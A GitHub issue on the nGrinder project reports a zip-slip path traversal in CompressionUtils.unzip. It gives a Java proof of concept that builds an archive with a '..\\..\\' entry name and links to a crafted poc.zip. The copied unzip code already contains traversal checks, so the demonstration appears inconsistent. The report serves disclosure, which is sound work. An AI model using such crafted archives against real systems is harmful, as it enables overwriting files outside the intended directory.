naver / ngrinder

enterprise level performance testing solution
naver.github.io/ngrinder
Apache License 2.0
2k stars 478 forks source link

Path Traversal when unzip zip file #965

Open PoppingSnack opened 1 year ago

PoppingSnack commented 1 year ago

Description

In the method "unzip" (line 105) of the file https://github.com/naver/ngrinder/blob/5267a1b398953110e27cf1259f136f66b8bbd0ba/ngrinder-core/src/main/java/org/ngrinder/common/util/CompressionUtils.java#L105 , it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite and other situations.

Proof of Concept

Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "....\a\b\c\poc.txt". (You should create this path firstly) Then call the CompressionUtils.unzip() method, originally intended to unzip the file to "D:\project\TestProject\ICFuzzTest\testData\unzip", but it will eventually be extracted to its another directory "D:\project\TestProject\ICFuzzTest\a\b\c\poc.txt". This may cause the original file to be overwritten by a high-risk file.

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;

/**
 * 在Ngrinder中存在unZip方法,可能有路径穿越的问题
 */
public class NgrinderUnzip {

    public static void main(String[] args) throws IOException {
//        zip();  // create a poc

        String zipFilePath = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip";
        String destination = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip";
        InputStream in = new FileInputStream(zipFilePath);
        unzip(in, new File(destination), "UTF-8");
    }

    //https://github.com/naver/ngrinder/blob/5267a1b398953110e27cf1259f136f66b8bbd0ba/ngrinder-core/src/main/java/org/ngrinder/common/util/CompressionUtils.java#L105
    /**
     * Unzip the given input stream into destination directory with the given
     * character set.
     *
     * @param is          input stream
     * @param destDir     destination directory
     * @param charsetName character set name
     */
    public static void unzip(InputStream is, File destDir, String charsetName) {
        byte[] buffer = new byte[1024];
        ZipInputStream zis = null;
        FileOutputStream fos = null;
        try {

            if (!destDir.exists()) {
                destDir.mkdir();
            }

            zis = new ZipInputStream(is);
            ZipEntry ze = zis.getNextEntry();

            while (ze != null) {
                String fileName = ze.getName();

                File newFile = new File(destDir.getAbsolutePath(), fileName);

                if (!newFile.toPath().normalize().startsWith(destDir.getAbsolutePath())) {
                    throw new RuntimeException("Bad zip entry");
                }
                if (newFile.getPath().contains("..")) {
                    throw new IllegalArgumentException("zip entry should not contain .. in the path.");
                }
                if (ze.isDirectory()) {
                    newFile.mkdirs();
                } else {
                    fos = new FileOutputStream(newFile);
                    int len;
                    while ((len = zis.read(buffer)) > 0) {
                        fos.write(buffer, 0, len);
                    }
                    IOUtils.closeQuietly(fos);
                }

                ze = zis.getNextEntry();
            }
        } catch (Exception e) {
//            throw processException(e);
        } finally {
            IOUtils.closeQuietly(fos);
            IOUtils.closeQuietly(is);
            IOUtils.closeQuietly(zis);
        }
    }

    // create a poc
    public static void zip() {
        ZipOutputStream zos = null;
        try {
            zos = new ZipOutputStream(new FileOutputStream(
                    "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip"));
            String srcFile = "..\\..\\a\\b\\c\\poc.txt";  // the next filePath
            String destFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.txt";
            zos.putNextEntry(new ZipEntry(srcFile));
            FileInputStream in = new FileInputStream(destFile);
            int len;
            byte[] buf = new byte[1024];
            while ((len = in.read(buf)) != -1) {
                zos.write(buf, 0, len);
            }
            zos.closeEntry();
            in.close();
        } catch (Exception e) {
            throw new RuntimeException("zip error from ZipUtils", e);
        } finally {
            if (zos != null) {
                try {
                    zos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

The following is the constructed zip file:

https://github.com/Zlase0820/VulnData/blob/main/src.main/data/poc.zip

Suggestion

I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:

https://github.com/apache/druid/blob/master/processing/src/main/java/org/apache/druid/utils/CompressionUtils.java#L242

He has the same error,and fixed in CVE-2023-27603.